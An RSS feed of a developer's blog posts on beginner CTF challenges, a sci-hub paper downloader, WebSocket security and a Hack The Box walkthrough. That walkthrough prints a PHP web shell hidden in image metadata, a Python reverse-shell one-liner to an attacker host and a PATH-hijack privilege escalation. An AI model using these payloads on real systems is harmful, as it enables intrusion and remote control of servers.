<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Kumar Ashwin</title>
    <description>The latest articles on Forem by Kumar Ashwin (@krashwin).</description>
    <link>https://forem.com/krashwin</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F298325%2F07ade51b-1afd-4991-b71c-2f959e7450ee.jpeg</url>
      <title>Forem: Kumar Ashwin</title>
      <link>https://forem.com/krashwin</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/krashwin"/>
    <language>en</language>
    <item>
      <title>Hacking is not black and white!</title>
      <dc:creator>Kumar Ashwin</dc:creator>
      <pubDate>Tue, 08 Sep 2020 19:49:49 +0000</pubDate>
      <link>https://forem.com/krashwin/hacking-is-not-black-and-white-2c47</link>
      <guid>https://forem.com/krashwin/hacking-is-not-black-and-white-2c47</guid>
      <description>&lt;p&gt;&lt;em&gt;This is related to a talk given by me and pre &amp;amp; post-event activities, that were conducted at Developer Circles, Pune and Bengaluru.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It all started with DEFCON 2020 Red Team Village CTF, my team and I reached the Top 50 and it was just amazing for all of us. It was an enriching experience, solving challenges from a wide range of categories and learning new stuff in the process. One section of the CTF dealt with Malware Analysis and I was fascinated by this domain of security and have been learning about it. &lt;/p&gt;

&lt;p&gt;So, after a few days, when the excitement settled I was talking to the lead of &lt;em&gt;Developer Circles: Pune's&lt;/em&gt; and she asked me if I could take an introductory session on Hacking and Capture the Flag events. &lt;/p&gt;

&lt;p&gt;We wanted it to be a learning experience for the people who were interested in security and wanted to start with something. For this, I came up with an idea to have a small pre-event CTF challenge in which the attendees will have to find the name of the speaker.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;"Stegosaurus ate my homework!"&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2kmi1id1cdutpz41qsbh.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2kmi1id1cdutpz41qsbh.jpg" alt="StegoImage"&gt;&lt;/a&gt;&lt;br&gt;
We announced the event with this poster as it's face, this looked different and weird, hence grabbed the attention of people. We crafted a small story around it and posted in the community groups - DevC Pune and Bengaluru.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.facebook.com/groups/DevCPune/permalink/1239924966343645/" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fbtf83lqyqfuv6lrydoh2.png" alt="Stego Challenge Story"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It was a Steganography challenge and focused on new folks interested in security and CTF. It was supposed to be the first CTF challenge for many people trying, so the pressure was high to make it fun and engaging while keeping it simple and easy. &lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;em&gt;What is Steganography?&lt;/em&gt;
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;The practice of concealing messages or information within other non-secret text or data, so that the actual data is disguised.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, coming back to the challenge, the main things that I wanted to focus on was the amount of attention on the details, paid by the participants and obviously steganography.&lt;/p&gt;

&lt;p&gt;The poster had lots of hash and gibberish on it. So, basically the challenge involved downloading the image and try to figure out the speaker's details. Upon downloading, the name of the image also looks like the following, &lt;code&gt;ZGV2Y3t0aGlzX2lzX3lvdXJfcGFzc3dvcmR9.jpg&lt;/code&gt; - it looks like some kind of encoded string. &lt;/p&gt;

&lt;p&gt;They had to take that file name and search for the type of encoding that was done. For that, my goto is &lt;a href="https://gchq.github.io/CyberChef/" rel="noopener noreferrer"&gt;Cyber Chef&lt;/a&gt; and upon checking it gives that the following string is &lt;code&gt;base64&lt;/code&gt; encoded.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fug2usvdbaugptd9ljn4r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fug2usvdbaugptd9ljn4r.png" alt="Cyber Chef ScreenShot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The decoded text is the standard way a flag is represented in a jeopardy style CTF. So that complete text is the flag, which suggests it is the password (but for what?). Few people got stuck with just the text inside the curly brackets but that was not the case, we have to try all the permutations to see what works for us.&lt;/p&gt;

&lt;p&gt;Reading the challenge description we find that there was a creature that was mentioned - stegosaurus. Upon a bit of google searching, we find that it is related to steganography. &lt;/p&gt;

&lt;p&gt;So, there are other ways to get to know if the image is a steganography image or not, there are tools like &lt;code&gt;binwalk&lt;/code&gt; that will tell us that there is something else that we have in the file which suggests steganography. &lt;/p&gt;

&lt;p&gt;We have the password and we have an image, now we have to find out tools using which we can extract the data. We can use CLI tools like &lt;code&gt;steghide&lt;/code&gt; to obtain the required information but we can also use online hosted tools like &lt;a href="https://futureboy.us/stegano/decinput.html" rel="noopener noreferrer"&gt;Steganographic Decoder&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F5xa1zifwiupb4pz8z00y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F5xa1zifwiupb4pz8z00y.png" alt="Steganographic Decoder ScreenShot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Upon submitting the form, we get the details of the speaker!&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;em&gt;The Talk!&lt;/em&gt;
&lt;/h3&gt;

&lt;p&gt;Received over 600 views and 130 comments followed by many interesting questions and discussions with amazing community members of Developer Circles, Pune and Bengaluru, this was a success, I am grateful that people found that they had something to take back from my talk.&lt;br&gt;
&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/O8ZAXs61uvw"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;em&gt;Did you git it?&lt;/em&gt;
&lt;/h3&gt;

&lt;p&gt;Seeing the response, of the previous challenge, &lt;a href="https://www.linkedin.com/in/sangeeta-gupta-943184140/" rel="noopener noreferrer"&gt;Sangeeta&lt;/a&gt; asked me to bring in one more challenge as people tend to learn a lot from it. &lt;/p&gt;

&lt;p&gt;So, I worked out a small challenge, where the objective was to find the flag. As it was a beginner challenge, I kept open several doors and made it super easy to get into.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgp8qhh23pjuyffm41bew.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgp8qhh23pjuyffm41bew.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, basically the challenge was to download an archived repository which included an executable and using that we had to find out the flag. &lt;/p&gt;

&lt;p&gt;The first step was to identify how the application works, and upon using the application for a while, it was evident that it encodes the text in ROT47 and decodes it. There was an admin account and that looked juicy. &lt;/p&gt;

&lt;p&gt;Using all the information they had, they needed to find the flag. There are several ways to do this by using &lt;code&gt;hex editors&lt;/code&gt;, &lt;code&gt;decompilers&lt;/code&gt;, etc. but for beginners, they might look a bit intimidating, so there are ways that can be easy to achieve the desired task.&lt;/p&gt;

&lt;p&gt;The repo that has been presented to them, contains a &lt;code&gt;.git&lt;/code&gt; directory resembling a git repo. Which means we can treat it as a git repo and run git commands to see what we have.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;git status&lt;/code&gt; showed me that there are few files that looked interesting. They are removed but not committed, we can leverage this to retrieve these files. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fm7tqtl3zdrj9xsflr2m6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fm7tqtl3zdrj9xsflr2m6.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Several things can be done, like &lt;code&gt;git diff&lt;/code&gt; to see the changes made in these files which give us enough information to crack open the challenge. But the thing I like doing is&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git checkout &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F5vpc5xfriw5kqxrk5gkj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F5vpc5xfriw5kqxrk5gkj.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we have an encoded string in &lt;code&gt;creds.txt&lt;/code&gt;, which can be decoded by the same tool and can act as the password for the admin account, hence giving the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fwt24q1txcxlfksxrf18a.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fwt24q1txcxlfksxrf18a.gif" alt="Long Post"&gt;&lt;/a&gt;&lt;br&gt;
It was a long post! 😅 Hoooh! &lt;/p&gt;

&lt;p&gt;But the experience was amazing ❤️ Looking forward to giving more talks and organising events like these. Especially, I want to thank Facebook Developer Circles, Pune and Sangeeta. She is just so welcoming of new ideas and even supports in implementing those. I learned a lot during the session as well, the kind of engagement she was able to create amongst the audience and the amount of quality questions that came up was really impressive. &lt;/p&gt;

&lt;p&gt;Thanks all! &lt;/p&gt;

</description>
      <category>hacking</category>
      <category>security</category>
      <category>ctf</category>
      <category>session</category>
    </item>
    <item>
      <title>sci-hub.tw wrapper - desearch</title>
      <dc:creator>Kumar Ashwin</dc:creator>
      <pubDate>Wed, 22 Jul 2020 20:10:02 +0000</pubDate>
      <link>https://forem.com/krashwin/sci-hub-tw-wrapper-desearch-47ba</link>
      <guid>https://forem.com/krashwin/sci-hub-tw-wrapper-desearch-47ba</guid>
      <description>&lt;p&gt;Going through the internet in search of research papers for the literature review, I found this cool website - &lt;a href="//sci-hub.tw"&gt;sci-hub.tw&lt;/a&gt;, and it provides free research papers published on IEEE, ACM, etc and instantly fell in love with this place, and the only reason for that is, it promotes the idea of "knowledge for all" ❤️ &lt;/p&gt;

&lt;p&gt;Hat's off to &lt;a href="https://twitter.com/Sci_Hub"&gt;Alexandra Elbakyan&lt;/a&gt;, Kudos!!&lt;/p&gt;

&lt;p&gt;The content is awesome, but the user experience was not that great for me. I had to download a lot (~20) of research papers and the process was pretty hectic. And I think myself as fortunate enough that I know to program and developed this sci-hub.tw wrapper - desearch. &lt;/p&gt;

&lt;p&gt;The code was initially written in Bash but then I shifted to Golang. I did a bit of research in observing the pattern and developed this which can be used via command line to download multiple research papers at a time.&lt;/p&gt;

&lt;p&gt;How I used it,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;url &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;urls.txt&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;span class="k"&gt;do
&lt;/span&gt;desearch &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="//github.com/krAshwin/desearch"&gt;Check out the project here!&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I would love to get feedback on the same and I hope this helps others too!&lt;/p&gt;

&lt;p&gt;Knowledge for all!!&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>go</category>
      <category>opensource</category>
      <category>research</category>
    </item>
    <item>
      <title>Web Sockets Everywhere!</title>
      <dc:creator>Kumar Ashwin</dc:creator>
      <pubDate>Sun, 28 Jun 2020 15:56:50 +0000</pubDate>
      <link>https://forem.com/krashwin/websockets-everywhere-4pao</link>
      <guid>https://forem.com/krashwin/websockets-everywhere-4pao</guid>
      <description>&lt;p&gt;We have been dominated by web sockets. Yes, the time has come, technology is dominating us. Wait, what web socket is initiated over HTTP! 😂&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--050BzmQG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/v676bg0n9mf0g3jj6rz7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--050BzmQG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/v676bg0n9mf0g3jj6rz7.jpg" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
Two days ago, I was reading about Ajax, I stumbled upon the term web sockets, and just like any other ignorant being, the show must go on 😆 Two days later, I decided to start with the Portswigger labs and scrolling to choose a random topic and yet again web sockets came in my way. The universe was giving me signs and this time, I took it and today morning started to learn a bit about Web Sockets &lt;em&gt;(let's call it WS instead of Web Sockets).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;And god, it took my day, there is a lot to know about it, and this article is me sharing my day with you.&lt;/p&gt;

&lt;p&gt;First Line that caught my attention was it is &lt;strong&gt;initiated over HTTP&lt;/strong&gt; and the security guy inside of me started throwing question.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;What are Web Sockets???&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Upgrade for HTTP, like literally.&lt;/li&gt;
&lt;li&gt;When you need &lt;strong&gt;full-duplex&lt;/strong&gt; (Server&amp;amp;Client talking to each other - bidirectional) connections.&lt;/li&gt;
&lt;li&gt;Native Web socket support is in JavaScript, though it supports other clients as well.&lt;/li&gt;
&lt;li&gt;Two protocols could be useful for establishing web sockets connections - &lt;code&gt;ws - web socket&lt;/code&gt; and &lt;code&gt;wss - web socket secure&lt;/code&gt; (&lt;em&gt;that's what I think that acronym is&lt;/em&gt; 😆)&lt;/li&gt;
&lt;li&gt;Examples: chatting applications, web-based games, and anything that requires real-time connections.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;How is it an upgrade for HTTP?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;HTTP send headers along with each request, which increases the latency, thus making it slower in comparison &lt;strong&gt;whereas&lt;/strong&gt; WS don't, they send header once and then keep the connection on till required, and yeah you guessed it right a lot faster than AJAX.&lt;/p&gt;

&lt;p&gt;We have been talking a lot about HTTP and WS header what differences are there, so to understand I opened up Slack and decided to go to the developer tools section!&lt;/p&gt;

&lt;p&gt;This is what I got!!! 😧&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Response Header&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/1.1 101 Switching Protocols
upgrade: websocket
connection: Upgrade
sec-websocket-accept: oj8LcmKK/eSwbxqeLkHKwJx3TvQ=
sec-websocket-extensions: xxx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;The response header contains several hints that suggest WS are being used, &lt;em&gt;101 Switching Protocols&lt;/em&gt;, &lt;code&gt;Upgrade&lt;/code&gt; and &lt;code&gt;Connection&lt;/code&gt; suggests upgrade in connection protocols. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request Header&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Host: wss-primary.slack.com
User-Agent: xxx
Sec-WebSocket-Version: 13
Origin: https://app.slack.com
Sec-WebSocket-Extensions: xxx
Sec-WebSocket-Key: 1N5BmOgjVY1OcHvXPvrBhQ==
Connection: keep-alive, Upgrade
Cookie: xxx
Upgrade: websocket
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Similarly in request headers, &lt;code&gt;Sec-WebSocket-Version&lt;/code&gt; is present as well as &lt;code&gt;Connection&lt;/code&gt; and &lt;code&gt;Upgrade&lt;/code&gt; suggests upgrade in protocols.&lt;/p&gt;

&lt;p&gt;All being said, &lt;strong&gt;Not everything is rainbows &amp;amp; unicorns&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Everything wrong with Web Sockets!&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never trust user input&lt;/strong&gt;, I can't emphasize it enough. Properly crafted malicious inputs can lead to SQL Injection XXE Injection on the client's side.&lt;/li&gt;
&lt;li&gt;If the WS connection is not secure enough then the malicious actor can transmit data to other users.&lt;/li&gt;
&lt;li&gt;No default authentication method. It takes data forwarded from HTTP, like cookies, etc and can thus lead to &lt;strong&gt;Cross-Site Web Socket Hijacking.&lt;/strong&gt; Therefore, a separate mechanism for authentication is required for the transmission of sensitive data.&lt;/li&gt;
&lt;li&gt;The main concern that comes out of WS are as they arise from HTTP, "any web security vulnerability that arises with regular HTTP can also arise about Web Sockets communications"&lt;/li&gt;
&lt;li&gt;WS Needs special configurations for load balancing.&lt;/li&gt;
&lt;li&gt;Ummm, etc...&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Web Sockets are a tool which if used properly, can be a real gift, and if not, may God be with you!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WSFvzXrU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wvot94mwy4bvzwpb33n0.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WSFvzXrU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wvot94mwy4bvzwpb33n0.jpg" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This was my day, summed up in an article 😂 I hope you learned something from it! Check out the references for more in-depth information!&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;References&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://youtu.be/8ARodQ4Wlf4"&gt;A Beginner's Guide to Web Sockets by Dion Misic at PyCon Australia in August 2018.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devcenter.heroku.com/articles/websocket-security"&gt;Web Socket Security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Peace Out!&lt;/p&gt;

</description>
      <category>todayilearned</category>
      <category>security</category>
      <category>development</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Learning the CTF way! : 1/n</title>
      <dc:creator>Kumar Ashwin</dc:creator>
      <pubDate>Sat, 30 May 2020 21:55:29 +0000</pubDate>
      <link>https://forem.com/krashwin/ctf-learn-1-231i</link>
      <guid>https://forem.com/krashwin/ctf-learn-1-231i</guid>
      <description>&lt;p&gt;This CTF Learn Series, will be tips and tricks I learned during CTFs.&lt;/p&gt;

&lt;p&gt;So, that being said, today I pwned my first Hack The Box machine - Magic!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thanks to &lt;a href="https://medium.com/@fahmi1597/hack-the-box-magic-10-10-10-185-scratch-f534fce85b66" rel="noopener noreferrer"&gt;Fahmi's Magic Walkthrough&lt;/a&gt;!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So, I was presented with a webserver with 2 ports in use. Started to do recon on the website and found a login panel - bypassed the login using simple SQL injection. &lt;/p&gt;

&lt;p&gt;An image upload interface greeted me, and is ready to accept png, jpg and gif formats ONLY. There was a chance to get access using a php-reverse-shell but no, it did not accept any &lt;em&gt;.php&lt;/em&gt; format or even I tried &lt;em&gt;.php.png&lt;/em&gt;, bad luck! This was the time for me to learn this &lt;strong&gt;first trick&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  How to implement reverse shell inside an image?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Using this tool - exiftool - we can view the metadata of an image and we could use the same to alter it as well.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;exiftool &lt;span class="nt"&gt;-Comment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;?php echo "&amp;lt;pre&amp;gt;"; system($_GET['&lt;/span&gt;cmd&lt;span class="s1"&gt;']);?&amp;gt;'&lt;/span&gt; image.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this command does is, it alters the Comment parameter of the image. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F0yxcgckbeyloibrjutqr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F0yxcgckbeyloibrjutqr.png" alt="Exiftool Output"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As we have used, $_GET we could send the data through the url in cmd parameter &lt;code&gt;...image.php.png?cmd=&amp;lt;any shell command&amp;gt;&lt;/code&gt; and this will run the shell commands and give the output in the browser.&lt;/p&gt;

&lt;p&gt;Checked if python is available or not, it was not but python3 was!&lt;/p&gt;

&lt;p&gt;Then used the python one liner reverse shell to get access to the shell. Passed the one liner through &lt;code&gt;cmd&lt;/code&gt; parameter and started listening on some port &lt;code&gt;nc -nlvp 1234&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Python One Liner Reverse Shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Did a bit recon as &lt;code&gt;www-data&lt;/code&gt;, found credentials of mysql database which lead to mysqldump of user's credentials. &lt;/p&gt;

&lt;p&gt;Next step was privilege escalation to root!&lt;/p&gt;

&lt;p&gt;Ran &lt;code&gt;linpeas.sh&lt;/code&gt; and found out some SUID binaries, and one specific that looked interesting was &lt;code&gt;sysinfo&lt;/code&gt; which was linked to &lt;code&gt;lshw&lt;/code&gt;. &lt;br&gt;
&lt;strong&gt;Time for the next lesson!&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  How to escalate using PATH variable and SUID?
&lt;/h3&gt;

&lt;p&gt;After doing some recon, we knew that when &lt;code&gt;sysinfo&lt;/code&gt; was running a service called &lt;code&gt;lshw&lt;/code&gt; and therefore if we could run same command before &lt;code&gt;sysinfo&lt;/code&gt;, we could possibly achieve our task.&lt;/p&gt;

&lt;p&gt;Created a new file in &lt;code&gt;/tmp/cardinal/lshw&lt;/code&gt; and put that python reverse shell in it and made it executable.&lt;/p&gt;

&lt;p&gt;What we have to do now, is that specify this location in the PATH variable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/cardinal/:&lt;span class="nv"&gt;$PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then we came to our terminal and started the reverse shell and then in the user's terminal executed &lt;code&gt;sysinfo&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Viola!&lt;/p&gt;

</description>
      <category>todayilearned</category>
      <category>linux</category>
      <category>security</category>
      <category>tips</category>
    </item>
    <item>
      <title>Pretty Little Secret - From Seeker to Speaker</title>
      <dc:creator>Kumar Ashwin</dc:creator>
      <pubDate>Thu, 14 May 2020 13:24:46 +0000</pubDate>
      <link>https://forem.com/krashwin/pretty-little-secret-from-seeker-to-speaker-3f73</link>
      <guid>https://forem.com/krashwin/pretty-little-secret-from-seeker-to-speaker-3f73</guid>
      <description>&lt;p&gt;A year and a half ago, freshman year of college. New people, new journey and I was that excited little kid, who wanted to learn and know everything. Being super curious never left me xD. The start was not something crazy but normal. It took some time for me to mingle with people, get to know folks who seem to be playing a really important role in my life. &lt;/p&gt;

&lt;p&gt;I never knew hack-a-thons were my thing, I didn’t know they even existed. Yeah, I was living under a rock, called Netflix and Chill. I along with my few friends volunteered for an event in the college, which was to be followed by a hack-a-thon. If not for one of my teachers, I would have left just after the event ended and never took part in hack-a-thon. Eventually, I ended up developing a simple message encryption tool and felt super awesome about it. It was not that great but it meant something to me.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fch05fwixyjc5tq8jwst5.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fch05fwixyjc5tq8jwst5.jpg" alt="So Proud Meme"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Time passed and events like these became my honey pots. It's just, I like developing. I didn't bother to put my work out there, I like to develop things and it used to make me happy. But someday it had to end and the day came and it became necessary for me to put my work out there to take part in an event, and it was required for the selection process. So, one of my senior suggested to look up about Github.&lt;/p&gt;

&lt;p&gt;I was like, what’s that? I knew this is something that’s used for collaboration, and that’s it. That was git for me, just some theory, and I never planned to learn that, as I thought I would never use it. But that was the day I got exposed to git, somehow managed to upload my work and then I forgot about it.&lt;/p&gt;

&lt;p&gt;It took some motivation, embarrassment, and some humiliation, for me to learn Git and start working on it and was addicted to it since then.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fpgwreddlj4a1m16bjnzm.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fpgwreddlj4a1m16bjnzm.jpg" alt="Git Meme"&gt;&lt;/a&gt;&lt;/p&gt;

